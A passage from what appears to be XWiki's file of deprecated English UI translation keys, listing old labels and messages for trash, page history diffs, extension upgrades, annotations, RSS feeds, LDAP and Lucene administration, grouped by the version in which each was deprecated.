platform.index.trashDocumentsDeleteDone\nxe.index.trash.documents.delete.done=Document permanently deleted", "#@deprecated platform.index.trashDocumentsDeleteFailed\nxe.index.trash.documents.delete.failed=Failed to delete:", "#@deprecated platform.index.trashDocumentsDeleteInformation\nxe.index.trash.documents.deleteInformation=Deleted by {0} on {1}", "#@deprecated platform.index.attachmentsTrash\nxe.index.attachmentsTrash=Deleted Attachments", "#@deprecated platform.index.trashAttachmentsEmpty\nxe.index.trash.attachments.empty=No deleted attachments", "#@deprecated platform.index.trashAttachments.datt.filename\nxe.index.trash.attachments.datt.filename=Attachment", "#@deprecated platform.index.trashAttachments.datt.docName\nxe.index.trash.attachments.datt.docName=Document", "#@deprecated platform.index.trashAttachments.datt.date\nxe.index.trash.attachments.datt.date=Deleted on", "#@deprecated platform.index.trashAttachments.datt.deleter\nxe.index.trash.attachments.datt.deleter=Deleted by", "#@deprecated platform.index.trashAttachments.actions\nxe.index.trash.attachments.actions=", "#@deprecated platform.index.trashAttachmentsActionsRestoreTooltip\nxe.index.trash.attachments.actions.restore.tooltip=Restore attachment", "#@deprecated platform.index.trashAttachmentsActionsRestoreText\nxe.index.trash.attachments.actions.restore.text=[restore]", "#@deprecated platform.index.trashAttachmentsActionsCannotRestoreTooltip\nxe.index.trash.attachments.actions.cannotRestore.tooltip=The attachment cannot be restored to its original location because another file with the same name has been attached.", "#@deprecated platform.index.trashAttachmentsActionsCannotRestoreText\nxe.index.trash.attachments.actions.cannotRestore.text=[cannot restore]", "#@deprecated platform.index.trashAttachmentsActionsDeleteTooltip\nxe.index.trash.attachments.actions.delete.tooltip=Permanently delete attachment", "#@deprecated platform.index.trashAttachmentsActionsDeleteText\nxe.index.trash.attachments.actions.delete.text=[delete]", "#@deprecated platform.index.trashAttachmentsDeleteInProgress\nxe.index.trash.attachments.delete.inProgress=Permanently deleting attachment...", "#@deprecated platform.index.trashAttachmentsDeleteDone\nxe.index.trash.attachments.delete.done=Attachment permanently deleted", "#@deprecated platform.index.trashAttachmentsDeleteFailed\nxe.index.trash.attachments.delete.failed=Failed to delete:", "#@deprecated platform.index.spaceIndex\nxe.space.index=Space Index", "#@deprecated platform.index.spaceIndexDescription\nxe.space.index.description=Pages in the {0} space:", "#@deprecated platform.index.spaceIndexDocumentListCreate\nxe.spaceIndex.documentList.create=Create a new page", "#######################################\n## until 4.1M1\n#######################################", "#@deprecated core.viewers.diff.class.changed\ncore.viewers.diff.class.changes=Changed property {0}", "#######################################\n## until 4.1RC1\n#######################################\ncore.viewers.diff.summary=Show changes done between selected versions\ncore.viewers.diff.property=Property\ncore.viewers.diff.oldValue=Previous value\ncore.viewers.diff.newValue=New value\ncore.viewers.diff.attachment.filename=Filename\ncore.viewers.diff.attachment.action=Action", "#######################################\n## until 4.2M1\n#######################################\nextensions.advancedSearch.wiki.label=The wiki where to install\n#@deprecated extensions.install.list.install\nextensions.install.list.new=The following new extensions will be installed:\nextensions.install.list.suggested=Suggested:\nextensions.install.list.conflict=Conflict with core extensions:\nextensions.install.error.conflictingExtension=extension {0} is needed in version {1} but core extension has version {2}\nextensions.install.error.installFailure.onWiki=Failed to install extension with id {0} and version {1} on wiki {2}:", "#######################################\n## until 4.3M1\n#######################################\nxe.officeimporter.results.missingspace=Missing target space name. Please {0} and correct it.\nxe.officeimporter.results.missingpage=Missing target page name. Please {0} and correct it.\nextensions.uninstall.list=The following extensions will be removed:", "#@deprecated platform.extension.distributionWizard.welcomeStepTitle\nextensions.distribution.wizardTitle=Distribution Wizard", "#@deprecated platform.extension.distributionWizard.uiStepNoStateError\nextensions.distribution.error.noState=Can't get any information about the distribution.", "#@deprecated platform.extension.distributionWizard.uiStepDistributionHint\nextensions.distribution.hint=The following distribution has been detected:", "#@deprecated platform.extension.distributionWizard.uiStepUIHint\nextensions.distribution.uiHint=The following user interface is recommended for your distribution:", "#@deprecated platform.extension.distributionWizard.uiStepUIUnspecifiedError\nextensions.distribution.error.noUI=The detected distribution doesn't specify a default user interface.", "#@deprecated platform.extension.distributionWizard.extensionsStepUpToDate\nextensions.distribution.upToDate=All extensions are up to date.", "#@deprecated platform.extension.distributionWizard.extensionsStepInvalidExtensionsLabel\nextensions.distribution.list.invalid.label=Invalid extensions", "#@deprecated platform.extension.distributionWizard.extensionsStepInvalidExtensionsHint\nextensions.distribution.list.invalid.hint=The following extensions have to be upgraded or downgraded in order to work with your current distribution:", "#@deprecated platform.extension.distributionWizard.extensionsStepOutdatedExtensionsLabel\nextensions.distribution.list.outdated.label=Outdated extensions", "#@deprecated platform.extension.distributionWizard.extensionsStepOutdatedExtensionsHint\nextensions.distribution.list.outdated.hint=The following extensions can be upgraded:", "#@deprecated platform.extension.distributionWizard.extensionsStepPrepareUpgradeFailure\nextensions.distribution.error.prepareUpgradeFailure=Failed to create upgrade plan.", "#@deprecated platform.extension.distributionWizard.continueLabel\nextensions.distribution.stepAction.complete=Continue", "#@deprecated platform.extension.distributionWizard.skipLabel\nextensions.distribution.stepAction.skip=Skip", "#@deprecated platform.extension.distributionWizard.skipHint\nextensions.distribution.stepAction.skip.hint=Ask me again after XWiki is restarted", "#@deprecated platform.extension.distributionWizard.cancelLabel\nextensions.distribution.stepAction.cancel=Cancel", "#@deprecated platform.extension.distributionWizard.cancelHint\nextensions.distribution.stepAction.cancel.hint=Let me complete the installation manually", "#######################################\n## until 4.3M2\n#######################################\nxe.admin.local=Local\nxe.admin.groups.addGroup.submit=Add\nxe.admin.groups.addUser.duplicate=The user is already a member of this group\nxe.admin.groups.addGroup.duplicate=The group is already a subgroup", "#######################################\n## until 4.4RC1\n#######################################", "#@deprecated action.addClassProperty.error.invalidName\npropertynamenotcorrect=Property names must follow these naming rules: <br/>Names can contain letters, numbers, and the following characters: \"., -, _, :\" <br/>Names must not start with a number or punctuation character. <br/>Names must not start with the letters xml (or XML, or Xml, etc). <br/>Names cannot contain spaces.", "#######################################\n## until 4.5\n#######################################\nextensions.info.dependency=Installed as a dependency needed by another extension\nextensions.install.actions.submit=Apply\nextensions.install.actions.cancel=Cancel\nextensions.uninstall.actions.submit=Apply\nextensions.uninstall.actions.cancel=Cancel", "#######################################\n## until 5.0M2\n#######################################\n## Translations should not contain velocity code\neditpageTitle=Editing $services.localization.render($editor) for $tdoc.displayTitle", "#######################################\n## until 5.0RC1\n#######################################\navailableversionsattachment=The available versions of file '$attachment.filename' are:\nplatform.extension.distributionWizard.experimentalWarning=This feature is currently experimental. It has some rough edges which we hope to fix in the next versions. Please report any {0}issues{1} you may encounter while using the distribution wizard.", "#@deprecated platform.extension.distributionWizard.extension.defaultuiStepTitle\nplatform.extension.distributionWizard.uiStepTitle=User Interface", "#@deprecated platform.extension.distributionWizard.extension.defaultuiStepSummary\nplatform.extension.distributionWizard.uiStepSummary=Install the default set of wiki pages recommended for the current version of the XWiki runtime", "#@deprecated platform.extension.distributionWizard.extension.outdatedextensionsStepTitle\nplatform.extension.distributionWizard.extensionsStepTitle=Extensions", "#@deprecated platform.extension.distributionWizard.extension.outdatedextensionsStepSummary\nplatform.extension.distributionWizard.extensionsStepSummary=Update the installed extensions", "#@deprecated platform.extension.updater.noUpdatesAvailable\nplatform.extension.distributionWizard.extensionsStepUpToDate=All extensions are up to date.", "#@deprecated platform.extension.updater.invalidExtensionsLabel\nplatform.extension.distributionWizard.extensionsStepInvalidExtensionsLabel=Invalid extensions", "#@deprecated platform.extension.updater.invalidExtensionsHint\nplatform.extension.distributionWizard.extensionsStepInvalidExtensionsHint=The following extensions from {0} have to be upgraded or downgraded in order to work with your current distribution:", "#@deprecated platform.extension.updater.outdatedExtensionsLabel\nplatform.extension.distributionWizard.extensionsStepOutdatedExtensionsLabel=Outdated extensions", "#@deprecated platform.extension.updater.outdatedExtensionsHint\nplatform.extension.distributionWizard.extensionsStepOutdatedExtensionsHint=The following extensions from {0} can be upgraded:", "#@deprecated platform.extension.updater.createUpgradePlanFailure\nplatform.extension.distributionWizard.extensionsStepPrepareUpgradeFailure=Failed to create upgrade plan.", "#@deprecated platform.extension.updater.loading\nplatform.extension.distributionWizard.extensionsStepLoading=Please wait a few minutes for the upgrade plan to be computed...", "#@deprecated platform.extension.updater.reloadHint\nplatform.extension.distributionWizard.extensionsStepReloadHint=In case this information is outdated you can {0}recompute{1} the upgrade plan.", "annotations.title=Annotations\nannotations.menu.loading=Loading annotations settings\nannotations.menu.loaderror=Failed:\nannotations.tab.info.noannotations=No annotations for this document\nannotations.settings.display=Show annotations\nannotations.settings.error.wrongsyntax=Annotations are not available for documents in XWiki/1.0 syntax.\nannotations.settings.error.notarget=No document specified to get annotations settings for.\nannotations.annotated.loading=Loading annotated document\nannotations.annotated.loaderror=Failed:\nannotations.annotated.loaderror.wrongresponse=Wrongly formatted server response\nannotations.annotated.error.noannotatedelement=Annotations could not be loaded because the content is not available.\nannotations.annotated.error.wrongsyntax=Annotations are not available for documents in XWiki/1.0 syntax.\nannotations.action.edit.text=[Edit]\nannotations.action.edit.tooltip=Edit this annotation\nannotations.action.edit.submit.text=Update\nannotations.action.edit.cancel.text=Cancel\nannotations.action.edit.success=Annotation has been successfully updated.\nannotations.action.edit.loaderror=Failed:\nannotations.action.edit.error.notfound=This annotation does not exist anymore. Please refresh the page for an updated view.\nannotations.action.delete.text=[Delete]\nannotations.action.delete.tooltip=Delete this annotation\nannotations.action.delete.confirm=Are you sure you want to delete this annotation?\nannotations.action.delete.inProgress=Deleting annotation...\nannotations.action.delete.done=Annotation deleted\nannotations.action.delete.failed=Failed to delete annotation:\nannotations.action.create.submit.text=Add annotation\nannotations.action.create.cancel.text=Cancel\nannotations.action.create.selection.invalid=Please select a nonempty text in the document content.\nannotations.action.create.form.loaderror=Failed:\nannotations.action.create.success=Annotation has been successfully added\nannotations.action.create.loaderror=Failed:\nannotations.action.create.error.unauthorized=You are not authorized to add annotations on this document.\nannotations.action.create.error.unauthorizedguest=You are not authorized to add annotations on this document. Try to login first.\nannotations.action.create.helpmessage=To annotate a piece of text, select it and hit {0}.\nannotations.action.create.error.wrongsyntax=Annotations are not available for documents in XWiki/1.0 syntax.\nannotations.action.create.error.notarget=Unspecified target (document) to create annotations for.\nannotations.action.view.hide.text=hide\nannotations.action.view.form.loaderror=Failed:\nannotations.action.view.error.notfound=This annotation does not exist anymore. Please refresh the page for an updated view.\nannotations.altered.text=This annotation could not be displayed because the annotated text was not found in the document:\nannotations.updated.text=This annotation was automatically repositioned after an update of the document. Originally:\nannotations.action.validate.text=[Validate]\nannotations.action.validate.tooltip=Validate the automatic update of the selected text of this annotation\nannotations.action.validate.success=Annotation has been successfully validated.\nannotations.action.validate.loaderror=Failed:\nannotations.filters.show=Refine the display criteria\nannotations.filters.nooption=There are no values to filter for \"{0}\"\nannotations.filters.anyvalue=any value\nannotations.filters.clearvalue=clear\nannotations.config.title=Annotations configuration panel\nannotations.config.display.title=Annotation display settings\nannotations.config.type.title=Annotation type settings\nannotations.config.activate.title=Annotation activation settings\nannotations.config.activate.explanation=The following two settings allow you to configure in which spaces are annotations active. The first setting specifies the general rule, while the second list specifies the spaces for which the rule shouldn't apply. For example, activated \"yes\" and exception spaces \"XWiki\" and \"Main\" means that annotations will be active on all spaces except for \"XWiki\" and \"Main\", while activated \"no\" and exception spaces \"Documents\" means that annotations will be active only for the \"Documents\" space.\nannotations.config.type.explanation=Add properties to this class if you want extra properties for your annotations.\nadmin.annotations=Annotations", "#######################################\n## until 5.1RC1\n#######################################", "#@deprecated admin.analytics.account.description\nadmin.analytics.sectiondesc=To enable page view tracking in Google Analytics\\u2122, enter your Google Analytics\\u2122 account here. You may enter more accounts (space separated) to track pages in multiple accounts.", "dashboard.gadget.actions.tooltip=Gadget settings", "#######################################\n## until 5.1\n#######################################\nadmin.sender=Default sender email address", "#######################################\n## until 5.2M2\n#######################################\npanels.translation.originalLanguage=The original language of the document is <a href=\"{0}\">{1}</a>.", "#######################################\n## until 5.2M2\n#######################################\nxe.tag.rss.tag.title=RSS feed for tag: {0}\nxe.tag.rss.tag.description=RSS feed for all pages containing tag: {0}\nxe.tag.rss.tags.title=RSS feed for tagged pages\nxe.tag.rss.tags.description=RSS feed for all pages containing tags\nxe.rss.space.description=RSS feed for document changes on space \"{0}\"", "#######################################\n## until 5.4RC1\n#######################################\nplatform.extension.distributionWizard.upgrademodeStepTitle=Upgrade Mode\nplatform.extension.distributionWizard.upgrademodeStepSummary=Choose whether to upgrade the entire farm or just the main wiki\nplatform.extension.distributionWizard.upgradeStepModeLabel=Upgrade mode\nplatform.extension.distributionWizard.upgradeStepModeHint=Choose carefully because the upgrade process may involve fixing merge conflicts and thus it's recommended to leave this to the person that knows best how to fix them.\nplatform.extension.distributionWizard.upgradeStep.mode.WIKI.label=Upgrade only the current wiki. Choose this option if each wiki is administrated by a separate entity. In this case it's best if each wiki is upgraded by its owner.\nplatform.extension.distributionWizard.upgradeStep.mode.ALLINONE.label=Upgrade all wikis. Choose this option if all wikis are administrated by the same entity.", "#######################################\n## until 6.0M1\n#######################################\nxe.panels.viewer=Viewer panels\nxe.panels.editor=Editor panels", "#######################################\n## until 6.0M2\n#######################################\nplatform.extension.updater.reloadHint=In case this information is outdated you can {0}recompute{1} the upgrade plan.", "#######################################\n## until 6.1M1\n#######################################\nxe.userdirectory.doc.fullName=User ID", "#######################################\n## until 6.2M1\n#######################################\nextensions.info.jobLog=Job log", "#@deprecated job.log.label.install\nextensions.info.jobLog.install=Install log\n#@deprecated job.log.label.installplan\nextensions.info.jobLog.installplan=Install plan log\n#@deprecated job.log.label.uninstall\nextensions.info.jobLog.uninstall=Uninstall log\n#@deprecated job.log.label.uninstallplan\nextensions.info.jobLog.uninstallplan=Uninstall plan log", "#######################################\n## until 6.3\n#######################################\neditincludepagemsgone=$pages.size() included document\neditincludepagemsgmore=$pages.size() included documents\nsimpleedittoolbardesc=Click on a button to get a sample text\nsimpleedittoolbardesc2=Enter the text that you wish to format. It will be shown to be copy-pasted.\\\\nExample:\\\\n$1\\\\nwill become:\\\\n$2\nmyhomepage=$xwiki.getDocument($context.user).display(\"first_name\", \"view\", $xwiki.getDocument($context.user).getObject(\"XWiki.XWikiUsers\", 0))'s profile\nviewcodetitle=Wiki code for <em>$doc.displayTitle</em>\nviewcommentstitle=Comments for <em>$doc.displayTitle</em>\nviewattachmentstitle=Attachments for <em>$doc.displayTitle</em>\nviewhistorytitle=History of <em>$doc.displayTitle</em>\nviewinformationtitle=Information about <em>$doc.displayTitle</em>\neditgroupsredirect=You can currently edit groups using the wiki on <a href=\"$xwiki.getURL(\"XWiki.XWikiGroups\")\">the groups page</a>.\neditusersredirect=You can currently edit users using the wiki on <a href=\"$xwiki.getURL(\"XWiki.XWikiUsers\")\">the users page</a>.", "#######################################\n## until 6.4M2\n#######################################\nplatform.appwithinminutes.liveTableEditorIconHint=You need to provide a reference to a 16x16px icon, you can pick a name from our <a href=\"{0}\" target=\"_blank\">default icons set</a> and use the **icon:** prefix. For example: **icon:application**.\nadmin.email=Email\nadmin.email.description=Configure the email sending process.\nXWiki.XWikiPreferences_smtp_server=Server\nXWiki.XWikiPreferences_smtp_port=Port\nXWiki.XWikiPreferences_smtp_server_username=Server username (optional)\nXWiki.XWikiPreferences_smtp_server_password=Server password (optional)\nXWiki.XWikiPreferences_javamail_extra_props=Additional JavaMail properties\nXWiki.XWikiPreferences_admin_email=Admin email\nXWiki.XWikiPreferences_admin_email.hint=The default email address used to send notification emails from\nXWiki.XWikiPreferences_obfuscateEmailAddresses=Obfuscate Email Addresses\nXWiki.XWikiPreferences_obfuscateEmailAddresses.hint=This affects only the email addresses stored in object properties of type Email, as long as the default custom displayer for the Email property type is not overwritten. Example: a...@domain.org", "#######################################\n## until 7.0M1\n#######################################\nplatform.appwithinminutes.classEditorDatePickerMonthNames=January, February, March, April, May, June, July, August, September, October, November, December\nplatform.appwithinminutes.classEditorDatePickerWeekDayNames=Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday\nplatform.appwithinminutes.classEditorDatePickerFirstWeekDay=0", "#######################################\n## until 7.0M2\n#######################################", "### RSS\nxe.rss.feeds=RSS Feeds\nxe.rss.feeds.description=There are currently 4 types of RSS feeds available on this wiki. You can subscribe to each of them by clicking on their name or on the icon next to them.\nxe.rss.search=Search RSS feeds:\nxe.rss.search.description=RSS feed on a specific search query term. To generate such a feed, go to the {0} page, run a search on a keyword and then click on the RSS icon.\nxe.rss.tags=Tags RSS feeds:\nxe.rss.tags.feed=Tags RSS Feed\nxe.rss.tags.description=RSS feed on documents tagged with a specific term or all documents with a tag. To generate such a feed, go to the {0} page and click on the RSS feed icon you wish to use.\nxe.rss.blog=Blog RSS feed:\nxe.rss.blog.feed=Blog RSS Feed\nxe.rss.blog.description=RSS feed of blog posts from all blogs.\nxe.rss.global=Global RSS feed:\nxe.rss.global.description=RSS feed of page activity.\nxe.rss.icon=rss icon\nxe.rss.version=Version\nxe.rss.editedby=edited by\nxe.rss.on=on", "#######################################\n## until 7.0RC1\n#######################################", "### Spaces (XWiki Enterprise wiki)\nxe.spaces=Spaces\nxe.spaces.createspace=Create a new space\nxe.spaces.createspace.defaultname=Space name\nxe.spaces.createspace.submit=Create\nxe.spaces.action.index=See space index\nxe.spaces.action.index.alt=Space index\nxe.spaces.action.admin=See space administration\nxe.spaces.action.admin.alt=Administer space\nxe.spaces.action.delete.alt=Delete space\nxe.spaces.deleteSpace.deleted=Space \\u00AB{0}\\u00BB deleted.", "### RSS\nxe.rss.pages.modified=Modified Pages RSS Feed\nxe.rss.feed.description=RSS feed for document changes\nxe.rss.feed.tags.description=RSS feed for documents tagged with \"{0}\"\nxe.rss.feed.spaces.description=RSS feed for documents in space(s) \"{0}\"\nxe.rss.feed.tagsAndSpaces.description=RSS feed for documents tagged with \"{0}\" in space(s) \"{1}\"", "### History\ncore.viewers.diff.tag.tags=Tags\ncore.viewers.diff.contentChanges=Content changes\ncore.viewers.diff.attachmentChanges=Attachment changes\ncore.viewers.diff.attachment.added=Attachment has been added\ncore.viewers.diff.attachment.deleted=Attachment has been deleted\ncore.viewers.diff.attachment.updated=Attachment has been updated from version <a href=\"{1}\">{0}</a> to version <a href=\"{3}\">{2}</a>\ncore.viewers.diff.commentChanges=Comment changes\ncore.viewers.diff.comment.added=Comment number {0} added\ncore.viewers.diff.comment.deleted=Comment number {0} deleted\ncore.viewers.diff.comment.updated=Comment number {0} modified\ncore.viewers.diff.comment.author=Author\ncore.viewers.diff.comment.date=Date\ncore.viewers.diff.comment.comment=Comment content\ncore.viewers.diff.comment.highlight=Highlighted text\ncore.viewers.diff.comment.replyto=Reply to\ncore.viewers.diff.comment.target=Comment target\ncore.viewers.diff.comment.state=Comment state\ncore.viewers.diff.comment.selection=Selection\ncore.viewers.diff.comment.originalSelection=Original selection\ncore.viewers.diff.comment.selectionLeftContext=Selection left context\ncore.viewers.diff.comment.selectionRightContext=Selection right context\ncore.viewers.diff.objectChanges=Object changes\ncore.viewers.diff.object.added=Object number {0} of type {1} added\ncore.viewers.diff.object.deleted=Object number {0} of type {1} deleted\ncore.viewers.diff.object.updated=Object number {0} of type {1} modified\ncore.viewers.diff.classChanges=Class changes\ncore.viewers.diff.class.added=Added property {0}\ncore.viewers.diff.class.removed=Removed property {0}\ncore.viewers.diff.class.changed=Changed property {0}", "### Old History (should have been deprecated long time ago)\nchanges.changesofpage=Changes\nchanges.in=in\nchanges.space=space\nchanges.from=From\nchanges.to=To\nchanges.comment=Change comment\nchanges.nocomment=There is no comment for this version\nchanges.version=Version\nchanges.editedby=edited by\nchanges.on=on\nchanges.metadatachanges=Metadata changes\nchanges.property=Property\nchanges.nometadatachanges=There are no metadata changes\nchanges.contentchanges=Content changes\nchanges.nocontentchanges=There are no content changes\nchanges.attachmentchanges=Attachment changes\nchanges.noattachmentchanges=There are no attachment changes\nchanges.filename=Filename\nchanges.action=Action\nchanges.commentchanges=Comment changes\nchanges.nocommentchanges=There are no comment changes\nchanges.metadata.parent=Parent\nchanges.metadata.web=Space\nchanges.metadata.name=Page Name\nchanges.metadata.author=Author\nchanges.metadata.language=Language\nchanges.metadata.defaultLanguage=Default Language\nchanges.attachmentadded=Attachment has been added\nchanges.attachmentdeleted=Attachment has been deleted\nchanges.attachmentupdatedfromversion=Attachment has been updated from version\nchanges.toversion=to version\nchanges.commentchange=Comment change\nchanges.commentAdded=Comment number {0} added\nchanges.commentRemoved=Comment number {0} removed\nchanges.comment.property=Property\nchanges.comment.previousvalue=Previous value\nchanges.comment.newvalue=New value\nchanges.comment.author=Author\nchanges.comment.date=Date\nchanges.comment.comment=Comment\nchanges.comment.highlight=Highlighted text\nchanges.comment.replyto=Reply to\nchanges.blog.title=Title\nchanges.blog.extract=Extract\nchanges.blog.category=Categories\nchanges.blog.editcategories=Edit categories\nchanges.blog.addnewcategory=Add a category\nchanges.tag.tags=Tags\nchanges.objectchanges=Object Changes\nchanges.objectAdded=Object added\nchanges.objectRemoved=Object removed\nchanges.ofclass=of class\nchanges.noobjectchanges=No Object Changes\nchanges.classeschanges=Class Changes\nchanges.noclasseschanges=No Class Changes", "#######################################\n## until 7.1M1\n#######################################", "search.page.bar.query.label=Query\nplatform.appwithinminutes.appHomePageTitle={0} Home", "### History\nweb.history.changes.attachment.author=Author\nweb.history.changes.lineEndings=Only the line endings have changed", "#@deprecated web.history.changes.document.title\ncore.viewers.diff.metadata.title=Title\n#@deprecated web.history.changes.document.parent\ncore.viewers.diff.metadata.parent=Parent\n#@deprecated web.history.changes.document.hidden\ncore.viewers.diff.metadata.hidden=Hidden\n#@deprecated web.history.changes.document.defaultLocale\ncore.viewers.diff.metadata.defaultLanguage=Default language\n#@deprecated web.history.changes.document.syntax\ncore.viewers.diff.metadata.syntax=Syntax", "core.viewers.diff.metadata.author=Author\ncore.viewers.diff.metadata.language=Language\ncore.viewers.diff.metadata.name=Name\ncore.viewers.diff.metadata.web=Space\ncore.viewers.diff.metadata.space=Space", "#######################################\n## until 7.2M1\n#######################################", "### Create UI\ncore.create.spaceTitle=Create Space\ncore.create.space=Space Name\ncore.create.space.hint=Name of the new space\ncore.create.space.template.hint=Template to use for the homepage of the new space\ncore.create.space.template.empty=Blank Homepage\ncore.create.page.space.hint=Containing space for the new page", "#######################################\n## until 7.2M2\n#######################################", "### Create UI\ncore.create.page=Page Name\ncore.create.page.hint=Name of the new page\ncore.create.pageText=NewPage", "### Copy UI\ncore.copy.sourcewiki=Source Wiki\ncore.copy.sourcewiki.hint=Location of the original wiki\ncore.copy.sourcespace=Source Space\ncore.copy.sourcespace.hint=Location of the original space\ncore.copy.sourcepage=Source Page\ncore.copy.sourcepage.hint=Location of the original page\ncore.copy.targetwiki=Target Wiki\ncore.copy.targetwiki.hint=Desired wiki location for the copied page\ncore.copy.targetspace=Target Space\ncore.copy.targetspace.hint=Desired space location for the copied page\ncore.copy.targetpage=Target Page\ncore.copy.targetpage.hint=Desired page location for the copied page", "### Rename UI\ncore.rename.title.newName=New document name\ncore.rename.title.updateDocs=Documents having backlinks to modify\ncore.rename.title.updateChildren=Documents having this document as their parent\ncore.rename.inputPrompt=<new document name>\ncore.rename.sourcespace=Source Space\ncore.rename.sourcespace.hint=Location of the original space\ncore.rename.sourcepage=Source Page\ncore.rename.sourcepage.hint=Location of the original page\ncore.rename.newspace=New space\ncore.rename.newspace.hint=Containing space for the renamed page\ncore.rename.newpage=New page\ncore.rename.newpage.hint=Name of the renamed page", "#######################################\n## until 7.2M3\n#######################################", "platform.dashboard.wiki.spaces=Spaces", "#######################################\n## until 7.3RC1\n#######################################", "## Replaced with the more generic admin.preferences.title key used for all WebPreferences page titles.\nxe.xwiki.space.preferences=XWiki Space Preferences", "## The restrictions on the class name have been dropped. \nplatform.appwithinminutes.appNameInvalidClassNameError=We can't extract a valid class name from the application name you entered. Make sure you include letters in the application name besides digits and punctuation signs.", "## The \"type\" property has been removed and data migrated to the new \"terminal\" property.\nxe.templateprovider.templatetype=Template type\nxe.templateprovider.templatetype.info=Whether this template should be used for creating generic pages or is specific to space homepages", "#######################################\n## until 7.4M1\n#######################################", "## We don't need this key any more because the page that is going to be created is specified by the location picker.\ncore.create.newPageTitle=Create Page: {0}", "## The database search UI doesn't use these keys any more.\nsearch.item.location=Located in <a href=\"{1}\">{0}</a> &#187; <a href=\"{3}\">{2}</a> &#187; <a href=\"{5}\">{4}</a>\nsearch.page.bar.spaces.all=All spaces\nsearch.page.results.copy=Copy\nsearch.page.results.delete=Delete\nsearch.page.results.rename=Rename\nsearch.page.results.rights=Rights\nsearch.page.results.guest=Guest", "#######################################\n## until 7.4\n#######################################", "core.rename.success=Successfully renamed page {0} in space {3} to page <a href=\"{2}\">{1}</a> in space {4}\ncore.copy.copyingdoc=Page {0} successfully copied to {1}", "#######################################\n## until 7.4.3 / 8.0RC1\n#######################################", "core.rename.children.labelWithoutParams=Affect the child pages\ncore.rename.links.labelWithoutParams=Update the wiki links", "#######################################\n## until 8.1M1\n#######################################", "core.viewers.jump.quickLinksText=Jump to any page in the wiki (Meta+G)", "#######################################\n## until 8.2M2\n#######################################", "# Home\nxe.home.title=Home", "#######################################\n## until 8.2RC1\n#######################################", "platform.dashboard.wiki.welcome=Welcome to your wiki", "#######################################\n## until 8.3M1\n#######################################", "platform.ldap.missingLdapService=LDAP service is not available. Please verify your installation.\nplatform.ldap.ldapAuthenticationIsNotEnabledWarning=LDAP authentication is not enabled. Please set LDAP as authentication service in ##xwiki.cfg##\nplatform.ldap.ldapGroupTip=LDAP group...\nplatform.ldap.xwikiGroupTip=XWiki group...\nplatform.ldap.ldapUserField=LDAP field...\nplatform.ldap.xwikiUserField=XWiki user property...\nplatform.ldap.adminHeadingConfiguration=Configuration\nplatform.ldap.adminHeadingMiscellaneous=Miscellaneous\nplatform.ldap.resetGroupCacheSuccess=Groups cache has been reset\nplatform.ldap.resetGroupCacheButton=Reset group cache", "#######################################\n## until 8.3\n#######################################", "xe.xwiki.space=XWiki", "#######################################\n## until 8.4RC1\n#######################################", "#@deprecated platform.web.init.message.initializing\nplatform.web.init.message.intializing=XWiki is initializing ({0}%)...\n#@deprecated platform.web.init.message.initializationFailure\nplatform.web.init.message.intializationFailure=XWiki initialization failed!\n#@deprecated platform.web.init.message.initializationSuccess\nplatform.web.init.message.intializationSuccess=XWiki is initialized, you will be redirected shortly", "#######################################\n## until 9.1.2\n#######################################", "admin.section.title=Administration: {0}\nxe.admin.global=Global\nadmin.xwiki.addextensions=Add Extensions\n#@deprecated admin.xwiki.extensions.description\nadmin.xwiki.addextensions.description=Search for new extensions to add to the wiki.\nadmin.xwiki.installedextensions=Installed Extensions\nadmin.xwiki.installedextensions.description=See the list of already installed extensions, which you can upgrade or uninstall.\nadmin.xwiki.coreextensions=Core Extensions\nadmin.xwiki.coreextensions.description=See what extensions make up the core of XWiki.\n#@deprecated extension.updater\nadmin.xwiki.extensionupdater=Extension Updater\nadmin.translations=Translations\nexport_authorpreserved=Author preserved\nadmin.applications=Applications\nadmin.applications.description=Various settings for pluggable applications.\nadmin.configuration=Configuration\nadmin.configuration.description=General configuration of the wiki.\nadmin.elements=Page Elements\nadmin.elements.description=Choose what to display in the titlebar and page footer, and which side panels and page metadata tabs to display.", "search.admin.configuration.title=Configuration", "search.admin.lucene.title=Lucene search administration\nsearch.admin.lucene.status.title=Status\nsearch.admin.lucene.status.infotitle=Info\nsearch.admin.lucene.status.valuetitle=Value\nsearch.admin.lucene.status.indexed=Number of indexed elements\nsearch.admin.lucene.status.indexing=Number of elements in indexing queue\nsearch.admin.lucene.indexing.title=Indexing\nsearch.admin.lucene.indexing.description=Tools to control Lucene index.\nsearch.admin.lucene.indexing.action.indexfarm=Index the whole farm\nsearch.admin.lucene.indexing.action.indexcurrentwiki=Index the wiki\nsearch.admin.lucene.indexing.action.indexcustom=Custom index\nsearch.admin.lucene.indexing.action.indexcustom.wikis=Wikis\nsearch.admin.lucene.indexing.action.indexcustom.wikis.title=Comma separated list of wiki identifiers\nsearch.admin.lucene.indexing.action.indexcustom.hqlfilter=An HQL based filter query\nsearch.admin.lucene.indexing.action.indexcustom.hqlfilter.title=Same as in searchDocument() methods\nsearch.admin.lucene.indexing.action.indexcustom.clearindex=Clear the index\nsearch.admin.lucene.indexing.action.indexcustom.clearindex.title=The index is cleaned before starting to scan database\nsearch.admin.lucene.indexing.action.indexcustom.onlynew=Only index elements not already indexed\nsearch.admin.lucene.indexing.action.indexcustom.onlynew.title=A page is loaded and scanned only if it is not already in the Lucene index\nsearch.admin.lucene.indexing.message.started=Started index rebuild.\nsearch.admin.lucene.indexing.message.alreadystarted=Another rebuild is in progress.\nsearch.admin.lucene.indexing.button=Start indexing\nsearch.extension.title.lucene=Lucene\nsearch.page.lucene.title.query=Lucene Search: {0}\nsearch.page.lucene.title.noquery=Lucene Search\nsearch.page.lucene.rebuilding=Lucene is currently building its index, {0} pages in queue.\nsearch.lucene.plugin.notfound=Lucene plugin not found. Make sure it's defined in your xwiki.cfg file.", "#######################################\n## until 9.3-rc-1\n#######################################\ncreateblogpost=Blog post", "xe.panels.quicklinks.blog=Blog", "### Blog application\nxe.blog.archive.paneltitle=Blog Archive\nxe.blog.archive.noarticle=No articles yet...\nxe.blog.archive.postsyear=Blog posts for {0}\nxe.blog.archive.unpublished=(unpublished)\nxe.blog.archive.hidden=(hidden)\nxe.blog.archive.noarticlesyear=No articles in this year...\nxe.blog.archive.postsfor=Blog posts for\nxe.blog.archive.noarticlesmonth=No articles in this month...\nxe.blog.code.blogsheet=Blog sheet\nxe.blog.code.sheetexplanation=This sheet should be used to display blog pages.\nxe.blog.code.notblog=This is not a blog page!\nxe.blog.code.published=This blog post is not published yet.\nxe.blog.code.hidden=This blog post is hidden.\nxe.blog.code.notpublished=This blog post is not published yet. Publish 